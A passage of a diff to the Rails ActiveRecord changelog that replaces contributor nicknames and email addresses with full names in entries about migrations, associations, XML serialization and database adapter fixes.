@@ -633,7 +705,7 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Add documentation for :encoding option to mysql adapter. [marclove]
 
-* Added short-hand declaration style to migrations (inspiration from Sexy Migrations, http://errtheblog.com/post/2381) [DHH]. Example:
+* Added short-hand declaration style to migrations (inspiration from Sexy Migrations, http://errtheblog.com/post/2381) [David Heinemeier Hansson]. Example:
 
     create_table "products" do |t|
       t.column "shop_id",    :integer
@@ -652,17 +724,17 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
       t.timestamps
     end
 
-* Use association name for the wrapper element when using .to_xml.  Previous behavior lead to non-deterministic situations with STI and polymorphic associations. [Koz, jstrachan]
+* Use association name for the wrapper element when using .to_xml.  Previous behavior lead to non-deterministic situations with STI and polymorphic associations. [Michael Koziarski, jstrachan]
 
 * Improve performance of calling .create on has_many :through associations. [evan]
 
 * Improved cloning performance by relying less on exception raising #8159 [Blaine]
 
-* Added ActiveRecord::Base.inspect to return a column-view like #<Post id:integer, title:string, body:text> [DHH]
+* Added ActiveRecord::Base.inspect to return a column-view like #<Post id:integer, title:string, body:text> [David Heinemeier Hansson]
 
-* Added yielding of Builder instance for ActiveRecord::Base#to_xml calls [DHH]
+* Added yielding of Builder instance for ActiveRecord::Base#to_xml calls [David Heinemeier Hansson]
 
-* Small additions and fixes for ActiveRecord documentation.  Closes #7342 [jeremymcanally]
+* Small additions and fixes for ActiveRecord documentation.  Closes #7342 [Jeremy McAnally]
 
 * Add helpful debugging info to the ActiveRecord::StatementInvalid exception in ActiveRecord::ConnectionAdapters::SqliteAdapter#table_structure.  Closes #7925. [court3nay]
 
@@ -672,13 +744,13 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 
 * Base.update_all :order and :limit options. Useful for MySQL updates that must be ordered to avoid violating unique constraints.  [Jeremy Kemper]
 
-* Remove deprecated object transactions.  People relying on this functionality should install the object_transactions plugin at http://code.bitsweat.net/svn/object_transactions.  Closes #5637 [Koz, Jeremy Kemper]
+* Remove deprecated object transactions.  People relying on this functionality should install the object_transactions plugin at http://code.bitsweat.net/svn/object_transactions.  Closes #5637 [Michael Koziarski, Jeremy Kemper]
 
 * PostgreSQL: remove DateTime -> Time downcast. Warning: do not enable translate_results for the C bindings if you have timestamps outside Time's domain.  [Jeremy Kemper]
 
 * find_or_create_by_* takes a hash so you can create with more attributes than are in the method name. For example, Person.find_or_create_by_name(:name => 'Henry', :comments => 'Hi new user!') is equivalent to Person.find_by_name('Henry') || Person.create(:name => 'Henry', :comments => 'Hi new user!').  #7368 [Josh Susser]
 
-* Make sure with_scope takes both :select and :joins into account when setting :readonly.  Allows you to save records you retrieve using method_missing on a has_many :through associations.  [Koz]
+* Make sure with_scope takes both :select and :joins into account when setting :readonly.  Allows you to save records you retrieve using method_missing on a has_many :through associations.  [Michael Koziarski]
 
 * Allow a polymorphic :source for has_many :through associations.  Closes #7143 [protocool]
 
@@ -703,13 +775,13 @@ single-table inheritance.  #3833, #9886 [Gabriel Gironda, rramdas, François Bea
 * Test DateTime native type in migrations, including an edge case with dates
 during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
-* SQLServer: correctly schema-dump tables with no indexes or descending indexes.  #7333, #7703 [Jakob S, Tom Ward]
+* SQLServer: correctly schema-dump tables with no indexes or descending indexes.  #7333, #7703 [Jakob Skjerning, Tom Ward]
 
 * SQLServer: recognize real column type as Ruby float.  #7057 [sethladd, Tom Ward]
 
-* Added fixtures :all as a way of loading all fixtures in the fixture directory at once #7214 [manfred]
+* Added fixtures :all as a way of loading all fixtures in the fixture directory at once #7214 [Manfred Stienstra]
 
-* Added database connection as a yield parameter to ActiveRecord::Base.transaction so you can manually rollback [DHH]. Example:
+* Added database connection as a yield parameter to ActiveRecord::Base.transaction so you can manually rollback [David Heinemeier Hansson]. Example:
 
     transaction do |transaction|
       david.withdrawal(100)
@@ -719,14 +791,14 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Made increment_counter/decrement_counter play nicely with optimistic locking, and added a more general update_counters method [Jamis Buck]
 
-* Reworked David's query cache to be available as Model.cache {...}. For the duration of the block no select query should be run more then once. Any inserts/deletes/executes will flush the whole cache however [Tobias Luetke]
+* Reworked David's query cache to be available as Model.cache {...}. For the duration of the block no select query should be run more then once. Any inserts/deletes/executes will flush the whole cache however [Tobias Lütke]
   Task.cache { Task.find(1); Task.find(1) } #=> 1 query
   
 * When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. [Jamis Buck]
 
 * Oracle: fix lob and text default handling.  #7344 [gfriedrich, Michael Schoen]
 
-* SQLServer: don't choke on strings containing 'null'.  #7083 [Jakob S]
+* SQLServer: don't choke on strings containing 'null'.  #7083 [Jakob Skjerning]
 
 * MySQL: blob and text columns may not have defaults in 5.x. Update fixtures schema for strict mode.  #6695 [Dan Kubb]
 
@@ -736,7 +808,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Use Date#to_s(:db) for quoted dates.  #7411 [Michael Schoen]
 
-* Don't create instance writer methods for class attributes.  Closes #7401 [Rick]
+* Don't create instance writer methods for class attributes.  Closes #7401 [Rick Olson]
 
 * Docs: validations examples.  #7343 [zackchandler]
 
@@ -756,11 +828,11 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Make sure sqlite3 driver closes open connections on disconnect [Rob Rasmussen]
 
-* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name.  #7072 [jeremymcanally]
+* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name.  #7072 [Jeremy McAnally]
 
 * change_column accepts :default => nil. Skip column options for primary keys.  #6956, #7048 [Dan Manges, Jeremy Kemper]
 
-* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information.  #3987, #6664 [Jonathan Viney, manfred, altano@bigfoot.com]
+* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information.  #3987, #6664 [Jonathan Viney, Manfred Stienstra, altano@bigfoot.com]
 
 * Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default.  #7000 [Michael Schoen]
 
@@ -795,15 +867,15 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 [protocool]
 
-* Consolidated different create and create! versions to call through to the base class with scope. This fixes inconsistencies, especially related to protected attribtues. Closes #5847 [Alexander Dymo, Tobias Luetke]
+* Consolidated different create and create! versions to call through to the base class with scope. This fixes inconsistencies, especially related to protected attribtues. Closes #5847 [Alexander Dymo, Tobias Lütke]
 
 * find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using.  #6764 [vitaly, Jeremy Kemper]
 
 * Add AssociationCollection#create! to be consistent with AssociationCollection#create when dealing with a foreign key that is a protected attribute [Cody Fauser]
 
-* Added counter optimization for AssociationCollection#any? so person.friends.any? won't actually load the full association if we have the count in a cheaper form [DHH]
+* Added counter optimization for AssociationCollection#any? so person.friends.any? won't actually load the full association if we have the count in a cheaper form [David Heinemeier Hansson]
 
-* Change fixture_path to a class inheritable accessor allowing test cases to have their own custom set of fixtures. #6672 [zdennis]
+* Change fixture_path to a class inheritable accessor allowing test cases to have their own custom set of fixtures. #6672 [Zach Dennis]
 
 * Quote ActiveSupport::Multibyte::Chars.  #6653 [Julian Tarkhanov]
 
@@ -858,15 +930,15 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. [Jonathan Viney]
 
-* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick]
+* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick Olson]
 
-* Restore eager condition interpolation, document it's differences [Rick]
+* Restore eager condition interpolation, document it's differences [Rick Olson]
 
 * Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started.  #6282 [Jacob Fugal, Jeremy Kemper]
 
 * Add #delete support to has_many :through associations.  Closes #6049 [Martin Landers]
 
-* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql.  Closes #5851 [Rick]
+* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql.  Closes #5851 [Rick Olson]
 
 * Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 [turnip@turnipspatch.com]
 
@@ -874,7 +946,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 [jonathan]
 
-* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [BobSilva]
+* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [Bob Silva]
 
 * The has_many create method works with polymorphic associations.  #6361 [Dan Peterson]
 
@@ -890,9 +962,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * has_one associations with a nil target may be safely marshaled.  #6279 [norbauer, Jeremy Kemper]
 
-* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Koz]
+* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Michael Koziarski]
 
-* Add a :namespace option to  AR::Base#to_xml [Koz]
+* Add a :namespace option to  AR::Base#to_xml [Michael Koziarski]
 
 * Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. [Jeremy Kemper]
 
@@ -900,7 +972,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Improve yaml fixtures error reporting.  #6205 [Bruce Williams]
 
-* Rename AR::Base#quote so people can use that name in their models. #3628 [Koz]
+* Rename AR::Base#quote so people can use that name in their models. #3628 [Michael Koziarski]
 
 * Add deprecation warning for inferred foreign key. #6029 [Josh Susser]
 
@@ -914,7 +986,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * to_xml: the :methods option works on arrays of records.  #5845 [Josh Starcher]
 
-* Deprecation: update docs. #5998 [jakob@mentalized.net, Kevin Clark]
+* Deprecation: update docs. #5998 [Jakob Skjerning, Kevin Clark]
 
 * Add some XmlSerialization tests for ActiveRecord [Rick Olson]
 
@@ -940,9 +1012,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * MySQL: update test schema for MySQL 5 strict mode.  #5861 [Tom Ward]
 
-* to_xml: correct naming of included associations.  #5831 [josh.starcher@gmail.com]
+* to_xml: correct naming of included associations.  #5831 [Josh Starcher]
 
-* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association.  #5815, #5829 [josh@hasmanythrough.com]
+* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association.  #5815, #5829 [Josh Susser]
 
 * Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. [Jeremy Kemper]
 
@@ -958,7 +1030,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Cache nil results for :included has_one associations also.  #5787 [Michael Schoen]
 
-* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Luetke]
+* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Lütke]
 
 * Nested classes are given table names prefixed by the singular form of the parent's table name. [Jeremy Kemper]
     Example: Invoice::Lineitem is given table name invoice_lineitems
@@ -988,7 +1060,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
 
-* Cache nil results for has_one associations so multiple calls don't call the database.  Closes #5757. [Michael A. Schoen]
+* Cache nil results for has_one associations so multiple calls don't call the database.  Closes #5757. [Michael Schoen]
 
 * Add documentation for how to disable timestamps on a per model basis. Closes #5684. [matt@mattmargolis.net Marcel Molina Jr.] 
 
@@ -996,9 +1068,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting.  [Rick Olson]
 
-* Formally deprecate the deprecated finders. [Koz]
+* Formally deprecate the deprecated finders. [Michael Koziarski]
 
-* Formally deprecate rich associations.  [Koz]
+* Formally deprecate rich associations.  [Michael Koziarski]
 
 * Fixed that default timezones for new / initialize should uphold utc setting #5709 [daniluk@yahoo.com]
 
@@ -1032,7 +1104,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * SQLServer: fix db:schema:dump case-sensitivity. #4684 [Will Rogers]
 
-* Oracle: BigDecimal support. #5667 [schoenm@earthlink.net]
+* Oracle: BigDecimal support. #5667 [Michael Schoen]
 
 * Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 [robbat2@gentoo.org, work@ashleymoran.me.uk]
 
@@ -1048,9 +1120,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Clearer has_one/belongs_to model names (account has_one :user). #5632 [matt@mattmargolis.net]
 
-* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [schoenm@earthlink.net]
+* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [Michael Schoen]
 
-* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [schoenm@earthlink.net]
+* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [Michael Schoen]
 
 * Added :group to available options for finds done on associations #5516 [mike@michaeldewey.org]
 
@@ -1085,9 +1157,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
 
-* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [DHH]
+* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [David Heinemeier Hansson]
 
-* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [hcatlin@gmail.com]. Example:
+* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
 
     Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2) 
 
@@ -1118,26 +1190,26 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
     Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
     Foo.find(:first, :conditions => ['bar_id = ?', bar])
 
-* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [DHH]
+* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [David Heinemeier Hansson]
 
-* Add a list of regexes assert_queries skips in the ActiveRecord test suite.  [Rick]
+* Add a list of regexes assert_queries skips in the ActiveRecord test suite.  [Rick Olson]
 
-* Fix the has_and_belongs_to_many #create doesn't populate the join for new records.  Closes #3692 [josh@hasmanythrough.com]
+* Fix the has_and_belongs_to_many #create doesn't populate the join for new records.  Closes #3692 [Josh Susser]
 
 * Provide Association Extensions access to the instance that the association is being accessed from.  
-  Closes #4433 [josh@hasmanythrough.com]
+  Closes #4433 [Josh Susser]
 
 * Update OpenBase adaterp's maintainer's email address. Closes #5176. [Derrick Spell]
 
-* Add a quick note about :select and eagerly included associations. [Rick]
+* Add a quick note about :select and eagerly included associations. [Rick Olson]
 
 * Add docs for the :as option in has_one associations.  Closes #5144 [cdcarter@gmail.com]
 
-* Fixed that has_many collections shouldn't load the entire association to do build or create [DHH]
+* Fixed that has_many collections shouldn't load the entire association to do build or create [David Heinemeier Hansson]
 
-* Added :allow_nil option for aggregations #5091 [ian.w.white@gmail.com]
+* Added :allow_nil option for aggregations #5091 [Ian White]
 
-* Fix Oracle boolean support and tests. Closes #5139. [schoenm@earthlink.net]
+* Fix Oracle boolean support and tests. Closes #5139. [Michael Schoen]
 
 * create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) [Jeremy Kemper]
 
@@ -1175,7 +1247,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Add warning about the proper way to validate the presence of a foreign key. Closes #4147. [Francois Beausoleil <francois.beausoleil@gmail.com>]
 
-* Fix syntax error in documentation. Closes #4679. [mislav@nippur.irb.hr] 
+* Fix syntax error in documentation. Closes #4679. [Mislav Marohnić] 
 
 * Add Oracle support for CLOB inserts. Closes #4748. [schoenm@earthlink.net sandra.metz@duke.edu] 
 
@@ -1189,14 +1261,14 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Sybase Adapter type conversion cleanup. Closes #4736. [dev@metacasa.net]
 
-* Fix bug where calculations with long alias names return null. [Rick]
+* Fix bug where calculations with long alias names return null. [Rick Olson]
 
-* Raise error when trying to add to a has_many :through association.  Use the Join Model instead. [Rick]
+* Raise error when trying to add to a has_many :through association.  Use the Join Model instead. [Rick Olson]
 
     @post.tags << @tag                  # BAD
     @post.taggings.create(:tag => @tag) # GOOD
 
-* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick]
+* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick Olson]
 
 * Update inconsistent migrations documentation. #4683 [machomagna@gmail.com]
 
@@ -1204,17 +1276,17 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Properly quote index names in migrations (closes #4764) [John Long]
 
-* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility.  [Rick]
+* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility.  [Rick Olson]
 
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick]
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick Olson]
 
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick]
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick Olson]
 
 * DRY up association collection reader method generation. [Marcel Molina Jr.]
 
 * DRY up and tweak style of the validation error object. [Marcel Molina Jr.]
 
-* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick]
+* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick Olson]
 
     class Account < ActiveRecord::Base
       validates_uniqueness_of :email, :case_sensitive => false
@@ -1239,14 +1311,14 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 *1.15.2* (February 5th, 2007)
 
-* Pass a range in :conditions to use the SQL BETWEEN operator.  #6974 [dcmanges]
+* Pass a range in :conditions to use the SQL BETWEEN operator.  #6974 [Dan Manges]
     Student.find(:all, :conditions => { :grade => 9..12 })
 
-* Don't create instance writer methods for class attributes. [Rick]
+* Don't create instance writer methods for class attributes. [Rick Olson]
 
 * When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. [Jamis Buck]
 
-* SQLServer: don't choke on strings containing 'null'.  #7083 [Jakob S]
+* SQLServer: don't choke on strings containing 'null'.  #7083 [Jakob Skjerning]
 
 * Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column.  #6495 [Si]
 
@@ -1264,11 +1336,11 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 *1.15.0* (January 16th, 2007)
 
-* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name.  #7072 [jeremymcanally]
+* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name.  #7072 [Jeremy McAnally]
 
-* change_column accepts :default => nil. Skip column options for primary keys.  #6956, #7048 [dcmanges, Jeremy Kemper]
+* change_column accepts :default => nil. Skip column options for primary keys.  #6956, #7048 [Dan Manges, Jeremy Kemper]
 
-* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information.  #3987, #6664 [Jonathan Viney, manfred, altano@bigfoot.com]
+* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information.  #3987, #6664 [Jonathan Viney, Manfred Stienstra, altano@bigfoot.com]
 
 * Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default.  #7000 [Michael Schoen]
 
@@ -1329,15 +1401,15 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. [Jonathan Viney]
 
-* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick]
+* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick Olson]
 
-* Restore eager condition interpolation, document it's differences [Rick]
+* Restore eager condition interpolation, document it's differences [Rick Olson]
 
 * Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started.  #6282 [Jacob Fugal, Jeremy Kemper]
 
 * Add #delete support to has_many :through associations.  Closes #6049 [Martin Landers]
 
-* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql.  Closes #5851 [Rick]
+* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql.  Closes #5851 [Rick Olson]
 
 * Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 [turnip@turnipspatch.com]
 
@@ -1345,7 +1417,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 [jonathan]
 
-* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [BobSilva]
+* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [Bob Silva]
 
 * The has_many create method works with polymorphic associations.  #6361 [Dan Peterson]
 
@@ -1361,9 +1433,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * has_one associations with a nil target may be safely marshaled.  #6279 [norbauer, Jeremy Kemper]
 
-* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Koz]
+* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Michael Koziarski]
 
-* Add a :namespace option to  AR::Base#to_xml [Koz]
+* Add a :namespace option to  AR::Base#to_xml [Michael Koziarski]
 
 * Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. [Jeremy Kemper]
 
@@ -1371,7 +1443,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Improve yaml fixtures error reporting.  #6205 [Bruce Williams]
 
-* Rename AR::Base#quote so people can use that name in their models. #3628 [Koz]
+* Rename AR::Base#quote so people can use that name in their models. #3628 [Michael Koziarski]
 
 * Add deprecation warning for inferred foreign key. #6029 [Josh Susser]
 
@@ -1401,9 +1473,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * MySQL: update test schema for MySQL 5 strict mode.  #5861 [Tom Ward]
 
-* to_xml: correct naming of included associations.  #5831 [josh.starcher@gmail.com]
+* to_xml: correct naming of included associations.  #5831 [Josh Starcher]
 
-* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association.  #5815, #5829 [josh@hasmanythrough.com]
+* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association.  #5815, #5829 [Josh Susser]
 
 * Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. [Jeremy Kemper]
 
@@ -1419,7 +1491,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Cache nil results for :included has_one associations also.  #5787 [Michael Schoen]
 
-* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Luetke]
+* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Lütke]
 
 * Nested classes are given table names prefixed by the singular form of the parent's table name. [Jeremy Kemper]
     Example: Invoice::Lineitem is given table name invoice_lineitems
@@ -1447,15 +1519,15 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
 
-* Cache nil results for has_one associations so multiple calls don't call the database.  Closes #5757. [Michael A. Schoen]
+* Cache nil results for has_one associations so multiple calls don't call the database.  Closes #5757. [Michael Schoen]
 
 * Don't save has_one associations unnecessarily.  #5735 [Jonathan Viney]
 
 * Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting.  [Rick Olson]
 
-* Formally deprecate the deprecated finders. [Koz]
+* Formally deprecate the deprecated finders. [Michael Koziarski]
 
-* Formally deprecate rich associations.  [Koz]
+* Formally deprecate rich associations.  [Michael Koziarski]
 
 * Fixed that default timezones for new / initialize should uphold utc setting #5709 [daniluk@yahoo.com]
 
@@ -1489,7 +1561,7 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * SQLServer: fix db:schema:dump case-sensitivity. #4684 [Will Rogers]
 
-* Oracle: BigDecimal support. #5667 [schoenm@earthlink.net]
+* Oracle: BigDecimal support. #5667 [Michael Schoen]
 
 * Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 [robbat2@gentoo.org, work@ashleymoran.me.uk]
 
@@ -1503,9 +1575,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Clearer has_one/belongs_to model names (account has_one :user). #5632 [matt@mattmargolis.net]
 
-* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [schoenm@earthlink.net]
+* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [Michael Schoen]
 
-* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [schoenm@earthlink.net]
+* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [Michael Schoen]
 
 * Added :group to available options for finds done on associations #5516 [mike@michaeldewey.org]
 
@@ -1538,9 +1610,9 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
 
 * Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
 
-* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [DHH]
+* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [David Heinemeier Hansson]
 
-* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [hcatlin@gmail.com]. Example:
+* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
 
     Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2) 
 
@@ -1571,26 +1643,26 @@ during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
     Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
     Foo.find(:first, :conditions => ['bar_id = ?', bar])
 
-* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [DHH]
+* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [David Heinemeier Hansson]
 
-* Add a list of regexes assert_queries skips in the ActiveRecord test suite.  [Rick]
+* Add a list of regexes assert_queries skips in the ActiveRecord test suite.  [Rick Olson]
 
-* Fix the has_and_belongs_to_many #create doesn't populate the join for new records.  Closes #3692 [josh@hasmanythrough.com]
+* Fix the has_and_belongs_to_many #create doesn't populate the join for new records.  Closes #3692 [Josh Susser]
 
 * Provide Association Extensions access to the instance that the association is being accessed from.  
-  Closes #4433 [josh@hasmanythrough.com]
+  Closes #4433 [Josh Susser]
 
 * Update OpenBase adaterp's maintainer's email address. Closes #5176. [Derrick Spell]
 
-* Add a quick note about :select and eagerly included associations. [Rick]
+* Add a quick note about :select and eagerly included associations. [Rick Olson]
 
 * Add docs for the :as option in has_one associations.  Closes #5144 [cdcarter@gmail.com]
 
-* Fixed that has_many collections shouldn't load the entire association to do build or create [DHH]
+* Fixed that has_many collections shouldn't load the entire association to do build or create [David Heinemeier Hansson]
 
-* Added :allow_nil option for aggregations #5091 [ian.w.white@gmail.com]
+* Added :allow_nil option for aggregations #5091 [Ian White]
 
-* Fix Oracle boolean support and tests. Closes #5139. [schoenm@earthlink.net]
+* Fix Oracle boolean support and tests. Closes #5139. [Michael Schoen]
 
